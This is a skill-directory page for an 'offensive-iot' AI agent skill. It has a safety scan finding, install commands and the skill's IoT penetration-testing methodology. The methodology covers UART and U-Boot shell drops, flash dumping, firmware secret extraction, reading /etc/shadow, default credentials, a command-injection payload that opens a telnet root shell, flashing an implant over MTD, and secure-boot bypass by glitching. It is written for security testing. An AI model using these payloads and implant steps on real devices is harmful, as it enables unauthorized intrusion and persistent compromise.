offensive-iot skill
IoT and embedded device security testing methodology. Covers hardware reconnaissance (UART, JTAG, SWD, SPI flash, I2C EEPROM, eMMC chip-off), firmware acquisition (vendor portals, OTA capture, flash dump, binwalk extraction), firmware analysis (filesystem mounting, binary triage, hardcoded secrets, default credential discovery), bootloader attacks (U-Boot console, secure-boot bypass, fault injection), runtime attacks on embedded Linux/RTOS (busybox CVEs, MTD writes, /dev/mem), wireless protocol attacks (Zigbee, BLE, Z-Wave, LoRaWAN, Thread/Matter, sub-GHz), MQTT/CoAP/Modbus/BACnet/OPC-UA exploitation, mobile companion app analysis, cloud-IoT API abuse, and side-channel/glitching basics. Use for IoT pentest, smart-home assessment, ICS/OT testing, or embedded vulnerability research.
Is the offensive-iot skill safe?
Read the findings before you install it. We read 1 file in the folder on 2026-09-28.
- high
SKILL.md:134Reads credential files (SSH keys, cloud or package-manager tokens) that a skill has no normal reason to touch.
cat rootfs/etc/passwd rootfs/etc/shadow
Install the offensive-iot skill
A skill is a folder. Copy it into your agent's skills folder and the agent loads it when the task matches its description.
git clone --depth 1 https://github.com/SnailSploit/Claude-Red.git /tmp/Claude-Red mkdir -p ~/.claude/skills cp -r /tmp/Claude-Red/Skills/iot/offensive-iot ~/.claude/skills/offensive-iot
In the Claude apps, zip the folder and upload it from the Skills settings. The folder on GitHub
The instructions your agent would load
SKILL.md as published, without the frontmatter. Read it on GitHub
IoT & Embedded — Offensive Testing Methodology
Quick Workflow
- Recon the device physically — identify SoC, flash, debug interfaces, radios
- Get the firmware — vendor download, OTA capture, hardware dump, or chip-off
- Unpack and analyze — filesystems, services, secrets, default creds, vuln components
- Establish runtime access — UART shell, telnet/SSH default creds, exploit chain
- Pivot — to companion app, cloud API, neighboring devices via mesh / wireless
Hardware Reconnaissance
PCB Inspection
- ID the SoC by markings (Realtek, Mediatek, Espressif, Broadcom, Allwinner, NXP, STM32, etc.)
- ID flash (8-pin SOIC = SPI NOR; BGA = eMMC; TSOP = NAND)
- Find debug headers: TX/RX/GND/VCC pads (UART), 4–10 pin (JTAG), 4 pin (SWD)
- Find test points labeled TX, RX, TCK, TMS, TDO, TDI, RST, BOOT
Tools
UART Discovery
# Find baud rate
for b in 9600 19200 38400 57600 115200 230400 460800 921600; do
echo "=== $b ==="
timeout 5 minicom -b $b -D /dev/ttyUSB0 -C uart_$b.log
done
grep -l -E "U-Boot|Linux|Bootloader|console|login" uart_*.logLook for: U-Boot console (often Hit any key countdown), Linux init messages, root shell on console, login prompt.
Bootloader Console Drop
# At U-Boot countdown, mash space or key listed
Hit any key to stop autoboot: 0
=> printenv # full env, often includes boot args
=> setenv bootargs ${bootargs} init=/bin/sh
=> boot # Linux comes up to root shell, no loginIf U-Boot is locked, try:
- CONFIGDELAYAUTOBOOT_KEYED keyword (vendor-specific)
- Ctrl+C / Ctrl+B / specific magic strings
- Glitch the U-Boot version-check / signature-check (see Fault Injection)
Flash Dumping
SPI NOR (most common consumer IoT)
# In-circuit dump (hold SoC in reset to avoid bus contention)
flashrom -p ch341a_spi -r firmware.bin
# Verify
file firmware.bin && binwalk firmware.binIf the SoC fights you: desolder the SPI chip, dump in socket, re-solder.
eMMC / NAND
eMMC is desolder-then-read: BGA-153/169 to SD adapter (cheap eBay), use a USB SD reader.
NAND requires bit-flipping and ECC handling — nanddump/yaffshiv/ubireader post-extraction.
OTA Capture
Many devices fetch firmware over HTTP(S). MITM the device:
# Captive AP + transparent proxy
sudo create_ap wlan0 eth0 IoTLab
mitmproxy --mode transparent --showhost --ssl-insecure
# Or for non-SNI / pinning, use bettercap with custom DNSCapture the URL, download directly, dissect.
Firmware Analysis
Initial Triage
binwalk -Me firmware.bin # Extract recursively
binwalk -E firmware.bin # Entropy plot — flat = encrypted/compressed
strings firmware.bin | grep -iE "(passwd|key|token|admin|http|ssid)"Filesystem Mounting
# SquashFS (most consumer Linux IoT)
unsquashfs -d rootfs squashfs.bin
# JFFS2 / UBIFS (NAND-backed)
jefferson jffs2.bin -d rootfs
ubireader_extract_files ubi.bin -o rootfsEmbedded-Linux Quick Wins
# Hardcoded credentials and keys
grep -RIE "(BEGIN (RSA |DSA |EC )?PRIVATE KEY|api[_-]?key|secret|token|passwd|root:[^*])" rootfs/
find rootfs -name "*.pem" -o -name "*.key" -o -name "shadow"
# Telnet/SSH default creds
cat rootfs/etc/passwd rootfs/etc/shadow
grep -r "telnetd" rootfs/etc/init.d
grep -r "dropbear\|sshd" rootfs/
# Setuid binaries
find rootfs -perm -4000 -type f
# Vulnerable busybox / dropbear / openssl versions
rootfs/bin/busybox 2>&1 | head -1
strings rootfs/sbin/dropbear | grep "Dropbear v"
strings rootfs/usr/lib/libssl* | grep "OpenSSL "
# Web admin: lighttpd / mini_httpd / boa / GoAhead — known CVE goldmine
find rootfs -name "lighttpd*" -o -name "boa" -o -name "goahead" -o -name "mini_httpd"CGI / Web Admin Auditing
GoAhead, Boa, mini_httpd — abandoned codebases, command injection on every other CGI parameter.
# Disassemble a CGI
file rootfs/www/cgi-bin/setup.cgi
# Often plain ELF MIPS/ARM — analyze in Ghidra
ghidra-headlessAnalyzer -import rootfs/www/cgi-bin/setup.cgiCommon patterns:
- system() / popen() with concatenated query string args
- sprintf then system — easy command injection
- Auth check via comparing cookie to plaintext file (race / replay)
Runtime Exploitation
Console / Telnet Default Creds
Try (per device class): admin/admin, root/root, root/, admin/password, support/support, cisco/cisco, vendor brand as user/pass. Always try root/ — many vendors use a per-device default.
Web Admin Command Injection
POST /goform/setSysAdm
Cookie: SESSIONID=...
admin_user=admin&admin_pwd=password;telnetd -l /bin/sh -p 4444;MTD Writes (re-flash from runtime)
If you have a root shell:
cat /proc/mtd # list partitions
mtd_debug erase /dev/mtd2 0 0x10000
mtd_debug write /dev/mtd2 0 0x10000 implant.bin/dev/mem
On older kernels without CONFIGSTRICTDEVMEM, /dev/mem is read/write to physical memory — full system compromise from any root context.
Bootloader / Secure Boot Attacks
U-Boot Quick Bypasses
- setenv bootargs ${bootargs} init=/bin/sh
- setenv preboot 'echo 1 > /sys/...' (run command before kernel)
- tftpboot — load attacker kernel from network
- bootm of a memory-resident image you loadb-uploaded over UART
Secure Boot
Modern devices verify signed bootloaders / kernels. Bypass paths:
- Downgrade: flash an older signed image with known kernel-level CVE
- Rollback bypass: anti-rollback fuses not blown → flash older signed
- Key extraction: dump the OTP / fuse contents via vendor tooling, recover signing key
- Fault injection: glitch the signature-check instruction (see below)
Fault Injection (Voltage / Clock Glitching)
Tools: ChipWhisperer-Lite/Husky, PicoEMP, custom MOSFET crowbar
Target: NAND/eMMC bootrom signature check, U-Boot env-protection check, OTP read
Procedure:
1. Locate target instruction window via UART timing or power trace
2. Apply glitch (V drop / EM pulse) at that offset
3. Sweep delay and width; success = corrupted check, accepted unsigned imageRTOS Targets
MCU Reverse Engineering
# Read protected MCU via SWD / JTAG (if RDP not set)
openocd -f interface/jlink.cfg -f target/stm32f4x.cfg \
-c "init; halt; flash read_bank 0 fw.bin 0 0x100000; exit"
# SAM-BA on Atmel SAM
sam-ba -p \\.\COM3 -d at91sam7s256 -a "read_flash(0,0x40000,fw.bin)"
# Ghidra / Binary Ninja with appropriate processor module (ARM Cortex-M, ESP32 Xtensa, AVR, MSP430)Wireless Protocols
Bluetooth Low Energy (BLE)
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